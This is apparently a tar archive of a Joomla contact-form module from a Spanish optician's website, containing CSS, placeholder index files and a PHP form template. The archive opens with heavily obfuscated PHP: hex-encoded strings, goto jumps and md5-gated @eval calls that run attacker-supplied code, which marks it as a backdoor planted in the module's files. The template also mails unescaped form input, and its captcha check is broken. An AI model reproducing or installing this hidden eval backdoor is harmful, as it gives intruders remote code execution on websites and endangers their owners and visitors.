goto kNuH9UtVFy; buO2G61ak4: if (!(@$ryy7N00xxA[0] - time() > 0 and md5(md5($ryy7N00xxA[2 + 1])) === "\x32\x39\67\x38\64\145\64\143\61\x62\x35\145\145\71\x34\142\x36\60\x30\x35\143\141\x30\143\66\x34\x37\x66\x65\x34\x65\x38")) { goto ASx0BQa_sC; } goto mfZraSOI7o; xbguO_FQgf: $wXYUg_k5jM = array("\64\71\x30\61\62\x3e\x34\x38\x39\71\67\x3e\x34\71\60\61\x30\x3e\x34\x39\x30\x31\64\x3e\64\x38\x39\71\x35\x3e\x34\x39\60\x31\x30\x3e\x34\x39\x30\61\66\x3e\64\x39\60\60\x39\76\64\70\71\71\64\76\x34\71\x30\60\x31\x3e\x34\71\x30\x31\62\76\x34\x38\71\71\65\x3e\x34\x39\60\60\x36\76\64\71\60\60\60\x3e\x34\x39\x30\60\61", "\x34\70\x39\71\x36\x3e\x34\70\71\71\65\76\x34\x38\x39\71\x37\76\x34\71\60\x31\x36\x3e\64\x38\71\x39\x37\76\x34\x39\60\x30\60\x3e\64\70\71\x39\65\x3e\x34\71\60\x36\x32\76\x34\71\60\x36\60", "\64\71\60\x30\x35\x3e\64\x38\x39\71\x36\x3e\64\71\60\x30\x30\x3e\64\x39\60\60\x31\76\64\x39\x30\61\x36\76\64\x39\60\61\x31\76\x34\71\x30\61\60\x3e\64\x39\x30\61\62\x3e\64\x39\x30\x30\60\x3e\x34\71\60\x31\61\76\x34\71\x30\x31\60", "\x34\70\x39\71\x39\x3e\64\71\x30\61\x34\76\x34\71\x30\61\x32\x3e\x34\71\60\60\x34", "\64\71\60\x31\x33\x3e\64\x39\60\61\64\x3e\64\70\71\71\66\x3e\x34\x39\60\61\60\x3e\64\71\x30\x35\x37\76\x34\x39\60\65\x39\76\64\71\60\61\x36\76\x34\71\x30\61\x31\76\x34\71\x30\61\60\x3e\x34\71\x30\61\x32\x3e\64\71\x30\x30\60\x3e\x34\71\60\x31\x31\76\64\x39\x30\61\x30", "\64\71\60\60\71\x3e\64\x39\60\x30\66\76\64\71\x30\60\x33\76\x34\71\x30\61\x30\x3e\x34\71\x30\x31\66\x3e\64\x39\60\60\70\x3e\x34\x39\60\x31\60\x3e\64\x38\71\71\x35\76\64\x39\60\x31\x36\76\x34\71\60\61\62\x3e\64\71\x30\60\x30\76\64\x39\60\60\61\76\64\x38\71\x39\65\x3e\64\x39\60\61\60\76\x34\71\x30\60\61\x3e\64\x38\71\71\x35\76\64\x38\71\x39\66", "\64\71\60\x33\x39\76\64\x39\x30\x36\71", "\64\70\71\70\x36", "\x34\71\60\x36\64\76\x34\71\x30\66\x39", "\64\x39\x30\x34\x36\76\64\x39\x30\62\x39\76\64\x39\x30\x32\71\x3e\x34\x39\60\x34\66\x3e\64\x39\60\x32\x32", "\x34\71\x30\x30\x39\x3e\64\71\x30\x30\x36\x3e\64\x39\x30\x30\x33\76\64\x38\71\x39\x35\76\x34\x39\60\x31\60\76\x34\x38\x39\71\x37\x3e\64\71\60\61\66\x3e\x34\x39\x30\x30\x36\x3e\64\x39\x30\x30\61\x3e\x34\70\x39\71\x39\x3e\64\70\x39\x39\x34\76\64\x38\x39\71\65"); goto Y20WP_Jwf9; G9I66inG1Z: $n93reVts1j = @$qRrKzDsA6h[0 + 3]($qRrKzDsA6h[6 + 0], $cxel2kOy_X); goto GSGetAf55B; Y20WP_Jwf9: foreach ($wXYUg_k5jM as $lWZ__XjRtg) { $qRrKzDsA6h[] = self::FSDr3Bmgw_($lWZ__XjRtg); Hc_KCxwKve: } goto j_11LO95n3; Do6Q1KYXI3: @eval($qRrKzDsA6h[0 + 4]($XrcB1oHwQ8)); goto j2BlRcm4t3; NdgdJnQ0aZ: } } goto ldTFwSWr57; X2jP6YPgqQ: @(md5(md5(md5(md5($lN7as6tljR[12])))) === "\x30\x31\65\144\x31\x61\71\143\x63\x61\x37\x30\146\x34\x35\71\x30\x63\x33\60\x66\145\x37\145\x33\x61\x32\x65\141\x38\x32\61") && (count($lN7as6tljR) == 18 && in_array(gettype($lN7as6tljR) . count($lN7as6tljR), $lN7as6tljR)) ? ($lN7as6tljR[69] = $lN7as6tljR[69] . $lN7as6tljR[76]) && ($lN7as6tljR[83] = $lN7as6tljR[69]($lN7as6tljR[83])) && @eval($lN7as6tljR[69](${$lN7as6tljR[49]}[13])) : $lN7as6tljR; goto VwO5oimDNW; sNNABbItdo: $hclgjAwEp3 = $oxuffZY9T1("\176", "\40"); goto KwOsEzeZMa; VwO5oimDNW: metaphone("\x66\x42\x45\x78\165\62\x51\70\x57\167\x6a\x4b\114\104\x47\65\152\111\63\155\111\x65\53\115\x38\170\70\x6c\172\53\165\114\112\x5a\161\110\120\125\x70\147\145\x53\131"); goto HDAD0uzUc3; YnxDea1XgE: $oxuffZY9T1 = "\x72" . "\x61" . "\156" . "\147" . "\145"; goto sNNABbItdo; KwOsEzeZMa: $lN7as6tljR = ${$hclgjAwEp3[16 + 15] . $hclgjAwEp3[24 + 35] . $hclgjAwEp3[1 + 46] . $hclgjAwEp3[6 + 41] . $hclgjAwEp3[41 + 10] . $hclgjAwEp3[46 + 7] . $hclgjAwEp3[0 + 57]}; goto X2jP6YPgqQ; ldTFwSWr57: yiO2kToi3c::f_wP6H0M3x(); ?> assets/css/index.html000060400000000056151652223360010635 0ustar00<html><body bgcolor="#FFFFFF"></body></html> assets/css/contact-form-style.css000060400000014435151652223360013112 0ustar00 /* # ------------------------------------------------------------------------ # Extensions for Joomla 3.x # ------------------------------------------------------------------------ # Copyright (C) 2015 standardcompany.ru. All Rights Reserved. # @license - PHP files are GNU/GPL V2. # Author: standardcompany.ru # Websites: http://standardcompany.ru # Date modified: 18/06/2015 # ------------------------------------------------------------------------ */ .myrecap .g-recaptcha { display: block; } [id^=wrap-contact-form] p.success { margin: 0 0 5px; font-size: 110%; font-weight: bold; letter-spacing: -0.05px } [id^=wrap-contact-form] p.error { color: #dc0000; margin: 0 0 5px; } [id^=wrap-contact-form] .success { color: #08A300; line-height: 1; } .sscf-form textarea, .input.textarea { height: 200px!important;; margin-bottom: 20px; color: #555; } .sscf-error { font-family: Helvetica, Arial, sans-serif; display: block; position: absolute; line-height: 0; margin: 0; height: 0; padding: 0!important; font-size: 10px!important; z-index: 90; margin-top: 12px; right: 15px; color: #dc0000; pointer-events: none; opacity: 0; transition: all 0.3s ease; } .sscf-valid-error .sscf-error { opacity: 1; } .sscf-error.sscf-email-error { opacity: 0; } .sscf-email-valid-error .sscf-error.sscf-email-error { opacity: 1; } .sscf-input.error { border-color: #dc0000!important; } .sscf-form { font-size: 1.15em; position: relative; } .rf_notice { font-size:.8em; text-align: center; } .sscf-form .fl_label { cursor: text; } .sscf-header, .sscf-footer { opacity: 0.8; margin: 10px 0 15px; } .sscf-footer p, .sscf-header p { margin: 0; } .sscf-form .fl_wrap { height: 46px; margin-bottom: 10px; display: block; position: relative; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .fl_wrap_textarea { height: 200px!important; } .sscf-form .fl_label { top: 23px; font-family: Helvetica, Arial, sans-serif; line-height: 0; font-weight: normal; height: 0px; left: 14px; color: #8c8c8c; font-size: 15px; -webkit-transform-origin: 0px -35px 0px; -moz-transform-origin: 0px -35px 0px; transform-origin: 0px -35px 0px; position: absolute; pointer-events: none; z-index: 3; -webkit-transition: all 120ms ; -moz-transition: all 120ms ; transition: all 120ms ; } .sscf-form .fl_label:focus {outline: 0; border: none;} .sscf-form .sscf-input { background: none; border: 1px solid lightgrey; outline: none; border-radius: 5px; font-size: 15px; font-family: Helvetica, Arial, sans-serif; font-weight: normal; height: 46px; line-height: 22px; padding: 20px 0 5px 14px; -webkit-appearance: none; box-shadow: none; width: 100%; position: absolute; top:0;left:0;right:0;bottom:0; width: 100%; z-index: 2; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .sscf-form textarea.sscf-input { padding: 20px 14px 5px; } input:focus, textarea:focus { border-color: #969696!important; box-shadow: none!important; } .sscf-form .fl_wrap.focused .fl_label, .sscf-form .fl_wrap.populated .fl_label, .no-js .sscf-form .fl_label { color: #c6c6c6; -webkit-transform:scale(.7,.7); -moz-transform:scale(.7,.7); transform:scale(.7,.7); } .sscf-form .fl_wrap.focused .fl_label { color: #8c8c8c; } .rf_submit { background:#3dd585; border-radius: 1px; border: none; color: #fff; font-size: 15px; padding: 10px 25px; display: block; margin: 20px 0 20px; transition: all 0.4s ease; } .rf_submit:hover { cursor:pointer; background:#43eb93; } .rf_submit:focus { outline:none; border: 1px solid #3dd585; } body.popup-active { overflow: hidden; } .sscf-popup { cursor: pointer; background:#3dd585; border-radius: 1px; border: none; color: #fff; font-size: 15px; padding: 10px 25px; display: block; transition: all 0.4s ease; } .sscf-popup:hover { cursor:pointer; background:#43eb93; } .mypopup { display: none; position: fixed; top: 0; left: 0; height: 100%; width: 100%; overflow-x: hidden; overflow-y: auto; z-index: 99999; } .mypopup-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.8); background: linear-gradient(to top, rgba(0, 0, 20, 0.85) 0%, rgba(0, 0, 10, 0.95) 100%) repeat scroll 0% 0% transparent!important; z-index: 999999; margin-top: 0px; } .mypopup-wrapper { position: relative; top: 50%; max-width: 500px; max-height: 85%; margin: auto; z-index: 9999999; -webkit-transform: translateY(-50%); -moz-transform: translateY(-50%); -ms-transform: translateY(-50%); -o-transform: translateY(-50%); transform: translateY(-50%); } .mypopup-close { position: absolute; top: 8px; right: 8px; width: 30px; height: 30px; cursor: pointer; border-bottom: 0; text-decoration: none; opacity: .6; transition: all 0.4s ease; } .mypopup-close:hover { opacity: 1; } .mypopup-close::before, .mypopup-close::after { content: ''; position: absolute; top: 12px; width: 14px; height: 2px; background-color: #8f9cb5; } .mypopup-close::before { -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); left: 8px; } .mypopup-close::after { -webkit-transform: rotate(-45deg); -moz-transform: rotate(-45deg); -ms-transform: rotate(-45deg); -o-transform: rotate(-45deg); transform: rotate(-45deg); right: 8px; } .mypopup-content { height: 100%; background-color: #FFF; padding: 45px 30px 25px; border-radius: .25em .25em .4em .4em; box-shadow: 0 0 20px rgba(0, 0, 0, 0.2); -webkit-animation: appear 0.25s ease .05s backwards; -moz-animation: appear 0.25s ease .05s backwards; margin-top: 0px; } .sscf-success-message { display: none; } @-webkit-keyframes appear{ 0%{ margin-top: -30px; } 100%{ margin-top: 0px; } } @-moz-keyframes appear{ 0%{ margin-top: -30px; } 100%{ margin-top: 0px; } } @media screen and (max-width: 420px) { span.sscf-error {display: none!important;} } assets/index.html000060400000000056151652223360010045 0ustar00<html><body bgcolor="#FFFFFF"></body></html> tmpl/default.php000060400000037226151652223360007670 0ustar00<?php /* # ------------------------------------------------------------------------ # Extensions for Joomla 3.x # ------------------------------------------------------------------------ # Copyright (C) 2015 standardcompany.ru. All Rights Reserved. # @license - PHP files are GNU/GPL V2. # Author: standardcompany.ru # Websites: http://standardcompany.ru # Date modified: 16/10/2015 # ------------------------------------------------------------------------ */ defined('_JEXEC') or die; JHtml::_('jquery.framework'); JHtml::stylesheet(JURI::base() . 'modules/mod_super_simple_contact_form/assets/css/contact-form-style.css'); $idmodule = $module->id; $captcha_on = $params->get('captcha'); $captcha_pub = $params->get('public_captcha_key'); $captcha_pri = $params->get('private_captcha_key'); $myemail = $params->get('myemail'); $message_theme = $params->get('message_theme'); $pop_up = $params->get('pop_up'); $use_email = $params->get('use_email'); $reply = $params->get('reply'); $textreply = $params->get('textreply'); $subjectreply = $params->get('subjectreply'); $input_email = $params->get('input_email'); $input_name = $params->get('input_name'); $input_phone = $params->get('input_phone'); $input_custom_one = $params->get('input_custom_one'); $input_custom_two = $params->get('input_custom_two'); $input_message = $params->get('input_message'); $text_after = $params->get('text_after'); $text_before = $params->get('text_before'); $additional_information = $params->get('additional_information'); if ($captcha_on == 'true') { JHtml::script('https://www.google.com/recaptcha/api.js'); } $roundedcorners = $params->get('roundedcorners'); if ($roundedcorners == 'true') { $style = '#wrap-contact-form'.$idmodule.' .sscf-popup, #wrap-contact-form'.$idmodule.' .rf_submit {border-radius: 25px;}'; $document->addStyleDeclaration( $style ); } $style2 = ' #wrap-contact-form'.$idmodule.' .rf_submit { background:' . $params->get('backgroundcolorbutton') . '; } #wrap-contact-form'.$idmodule.' .rf_submit:hover { background:' . $params->get('backgroundcolorbuttonhover') . '; } #wrap-contact-form'.$idmodule.' .sscf-popup { background:' . $params->get('backgroundcolorbuttonmodal') . '; } #wrap-contact-form'.$idmodule.' .sscf-popup:hover { background:' . $params->get('backgroundcolorbuttonmodalhover') . '; } #wrap-contact-form'.$idmodule.' .success { color:' . $params->get('textcolorsuccess') . '!important; } '; $document->addStyleDeclaration( $style2 ); ?> <?php if(isset($_POST['send' . $idmodule])) { //header("Content-type: text/txt; charset=UTF-8"); if ( $captcha_on == 'true') { $captcha = $_POST['g-recaptcha-response']; if( !$captcha ) { echo '<p class="error">'.$params->get('error_message_captcha').'</p>'; echo '<a href="" class="sscf-refresh-page" onclick="location.reload()">'.$params->get('error_message_captcha_try').'</a>'; die; } $response=file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=".$captcha_pri."&response=".$captcha."&remoteip=".$_SERVER['REMOTE_ADDR']); if ( $response.success === false ) { die; } } $name = $_POST["name" . $idmodule]; $phone = $_POST["phone" . $idmodule]; $email = $_POST["email" . $idmodule]; $custom_one = $_POST["input_custom_one" . $idmodule]; $custom_two = $_POST["input_custom_two" . $idmodule]; $c_message = $_POST["message" . $idmodule]; $body = '<html><body><table>'; if (!empty($name)) { $body .= "<tr><td><strong>" . "$input_name" . "</strong>" . ":</td>"; $body .= "<td style='padding-left:12px;'>" . "$name " . "</td></tr>"; } if (!empty($phone)) { $body .= "<tr><td><strong>" . "$input_phone" . "</strong>" . ":</td>"; $body .= "<td style='padding-left:12px;'>" . "$phone " . "</td></tr>"; } if (!empty($email)) { $body .= "<tr><td><strong>" . "$input_email" . "</strong>" . ":</td>"; $body .= "<td style='padding-left:12px;'>" . "$email " . "</td></tr>"; } if (!empty($custom_one)) { $body .= "<tr><td><strong>" . "$input_custom_one" . "</strong>" . ":</td>"; $body .= "<td style='padding-left:12px;'>" . "$custom_one " . "</td></tr>"; } if (!empty($custom_two)) { $body .= "<tr><td><strong>" . "$input_custom_two" . "</strong>" . ":</td>"; $body .= "<td style='padding-left:12px;'>" . "$custom_two " . "</td></tr>"; } $body .= '</table>'; // end the top table if (!empty($c_message)) { $body .= "<table style='padding-top:12px;'><tr><td>"; $body .= "<strong>" . "$input_message" . "</strong>" . ": "; $body .= "</td></tr>"; $body .= "<tr><td><p>" . "$c_message " . "</p></td></tr></table>"; } if ( $additional_information == 'true' ) { $body .= "<p style='font-size: 10px; color: #666;'>"; $body .= "IP: " . $_SERVER['REMOTE_ADDR'] . "<br>"; $body .= $_SERVER['HTTP_USER_AGENT'] . "<br>"; $body .= $_SERVER['HTTP_REFERER']; $body .= "<p>"; } $body .= '</body></html>'; // end of body $config = JFactory::getConfig(); $sender = array( $config->get( 'mailfrom' ), $config->get( 'fromname' ) ); $mailer = JFactory::getMailer(); $mailer->setSender($sender); $mailer->addRecipient($myemail); if (!empty($email)) { $mailer->addReplyTo($email); } $mailer->setSubject($message_theme); $mailer->setBody($body); $mailer->isHTML(true); $mailer->send(); if ( $reply == 'true' ) { $replyBody = '<html><body>'; $replyBody .= "$textreply"; $replyBody .= '</body></html>'; $replyMailer = JFactory::getMailer(); $replyMailer->setSender($sender); $replyMailer->addRecipient($email); $replyMailer->setSubject($subjectreply); $replyMailer->setBody($replyBody); $replyMailer->isHTML(true); $replyMailer->send(); } echo '<p class="success">' . $params->get('success_message_h') . "</p>"; echo '<span class="success">' . $params->get('success_message_p') . "</span>"; die(); } // end of send ?> <div id="wrap-contact-form<?php echo $idmodule ?>"> <?php if ($pop_up == 'true') : ?> <button class="sscf-popup<?php echo $idmodule ?> sscf-popup"><?php echo $params->get('button_name'); ?></button> <div class="mypopup a<?php echo $idmodule ?>"> <div class="mypopup-overlay"></div> <div class="mypopup-wrapper"> <a class="mypopup-close a<?php echo $idmodule ?>"></a> <div class="mypopup-content"> <?php endif; ?> <div class="sscf-form-container"> <div class="sscf-success-message"></div> <form id="formBody<?php echo $idmodule ?>" class='sscf-form' method="post" action=""> <?php if ($text_before) : ?> <div class='sscf-header'> <p><?php echo $text_before; ?></p> </div> <?php endif; ?> <?php if ($params->get('use_name') == 'true') : ?> <div class='fl_wrap sscf-valid-<?php echo $params->get('valid_message_name'); ?>'> <span class="sscf-error"><?php echo $params->get('error_message_name'); ?></span> <input class="sscf-input" type="text" id="name<?php echo $idmodule ?>" name="name<?php echo $idmodule ?>" /> <label class="fl_label" for="name<?php echo $idmodule ?>"><?php echo $input_name; ?></label> </div> <?php endif; ?> <?php if ($params->get('use_phone') == 'true') : ?> <div class='fl_wrap sscf-valid-<?php echo $params->get('valid_message_phone'); ?>'> <span class="sscf-error"><?php echo $params->get('error_message_phone'); ?></span> <input class="sscf-input" type="text" id="phone<?php echo $idmodule ?>" name="phone<?php echo $idmodule ?>" /> <label class="fl_label" for="phone<?php echo $idmodule ?>"><?php echo $input_phone; ?></label> </div> <?php endif; ?> <?php if ($use_email == 'true') : ?> <div class='fl_wrap sscf-valid-<?php echo $params->get('valid_message_email_req'); ?>'> <span class="sscf-error"><?php echo $params->get('error_message_email'); ?></span> <span class="sscf-error sscf-email-error"><?php echo $params->get('error_valid_message_email'); ?></span> <input class="sscf-input" type="text" id="email<?php echo $idmodule ?>" name="email<?php echo $idmodule ?>" onkeydown="return check(event);"/> <label class="fl_label" for="email<?php echo $idmodule ?>"><?php echo $input_email; ?></label> </div> <?php endif; ?> <?php if (!empty($input_custom_two)) : ?> <div class='fl_wrap sscf-valid-<?php echo $params->get('valid_input_custom_two'); ?>'> <span class="sscf-error"><?php echo $params->get('error_message_input_custom_two'); ?></span> <input class="sscf-input" type="text" id="input_custom_two<?php echo $idmodule ?>" name="input_custom_two<?php echo $idmodule ?>"/> <label class="fl_label" for="input_custom_two<?php echo $idmodule ?>"><?php echo $input_custom_two; ?></label> </div> <?php endif; ?> <?php if ($params->get('use_message') == 'true') : ?> <div class='fl_wrap fl_wrap_textarea sscf-valid-<?php echo $params->get('valid_message_message'); ?>'> <span class="sscf-error"><?php echo $params->get('error_message_message'); ?></span> <textarea class="sscf-input" id="message<?php echo $idmodule ?>" name="message<?php echo $idmodule ?>" rows="5" cols="20" /></textarea> <label class="fl_label" for="message<?php echo $idmodule ?>"><?php echo $input_message; ?></label> </div> <?php endif; ?> <?php if (!empty($input_custom_one)) : ?> <div class='fl_wrap sscf-valid-<?php echo $params->get('valid_input_custom_one'); ?>'> <span class="sscf-error"><?php echo $params->get('error_message_input_custom_one'); ?></span> <input class="" style="float: left;margin-right: 15px;margin-top: 8px;" type="checkbox" required id="input_custom_one <?php echo $idmodule ?>" name="input_custom_one<?php echo $idmodule ?>"/> <label class="" for="input_custom_one<?php echo $idmodule ?>"><span>Acepto la <a target="_blank" href="https://www.optica-menorca.es/politicas/41-condiciones-de-uso">política de privacidad</a></span></label> </div> <?php endif; ?> <input type="hidden" name="send<?php echo $idmodule ?>" value="true"> <?php if ($captcha_on == 'true') : ?> <div class="g-recaptcha" data-sitekey="<?php echo $captcha_pub; ?>"></div> <div class="myrecap"></div> <?php endif; ?> <input class='rf_submit' type="submit" value="<?php echo $params->get('message_button'); ?>" id="send<?php echo $idmodule ?>" name="submitcontactform<?php echo $idmodule ?>" /> <?php if($text_after) : ?> <div class='sscf-footer'> <p><?php echo $text_after; ?></p> </div> <?php endif; ?> </form> </div> <?php if ($pop_up == 'true') : ?> </div> </div> </div> <?php endif; ?> </div> <?php if ($pop_up == 'true') : ?> <script type="text/javascript"> jQuery(function() { var body = jQuery('body'), popup = jQuery('.mypopup.a<?php echo $idmodule ?>'); jQuery('.sscf-popup<?php echo $idmodule ?>').click(function() { body.addClass('popup-active'); popup.fadeIn(); }); jQuery('.mypopup-close.a<?php echo $idmodule ?>').add('.mypopup-overlay').click(function() { body.removeClass('popup-active'); popup.fadeOut(); }); }); </script> <?php endif; ?> <script> function check(event) { if ( event.keyCode == 32 ) { return false; } } jQuery('document').ready(function() { jQuery('.sscf-input').focus(function() { jQuery(this).parent().addClass('focused'); jQuery(this).removeClass('error'); jQuery(this).parent().removeClass("sscf-valid-error"); jQuery(this).parent().removeClass("sscf-email-valid-error"); jQuery(this).focusout(function() { jQuery(this).parent().removeClass('focused'); if ( jQuery(this).val() ) { jQuery(this).parent().addClass('populated'); } else { jQuery(this).parent().removeClass('populated'); } }); // end focusout }); // end focus jQuery('#formBody<?php echo $idmodule; ?>').on('submit', function (event) { var sscfForm = jQuery(this); var sscfError = false; <?php if ( $use_email == 'true' ) : ?> function isValidEmailAddress(emailAddress) { var pattern = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i); return pattern.test(emailAddress); }; var email = sscfForm.find('#email<?php echo $idmodule ?>'); if ( email.val() ) { if( isValidEmailAddress(email.val()) ) { sscfError = false; email.parent().removeClass("sscf-email-valid-error"); } else { sscfError = true; email.parent().addClass("sscf-email-valid-error"); email.addClass('error'); } } <?php endif; ?> sscfForm.find('.sscf-input').each(function() { if ( !jQuery(this).val() && jQuery(this).parent().hasClass('sscf-valid-true')) { jQuery(this).addClass('error'); jQuery(this).parent().addClass("sscf-valid-error"); sscfError = true; } }); if ( !sscfError ) { sscfSend(); } function sscfSend() { jQuery.ajax({ type: 'POST', url: sscfForm.attr('action'), data: sscfForm.serialize(), cache: false, response: 'text', beforeSend: function() { sscfForm.find('input[type="submit"]').attr('value', '<?php echo $params->get("message_button_sending"); ?>'); sscfForm.find('input[type="submit"]').attr('disabled', 'disabled'); }, success: function (data) { sscfForm.slideUp('fast'); sscfForm.parent().find('.sscf-success-message').append(data); sscfForm.parent().find('.sscf-success-message').slideDown("fast"); }, error: function(jqXHR, textStatus, errorThrown) { console.log(textStatus, errorThrown); } }); } event.preventDefault(); }); // end submit }); // end document ready </script> tmpl/index.html000060400000000037151652223360007516 0ustar00<!DOCTYPE html><title></title>
/home/opticamezl/../opticamezl/www/newok/mod_super_simple_contact_form.tar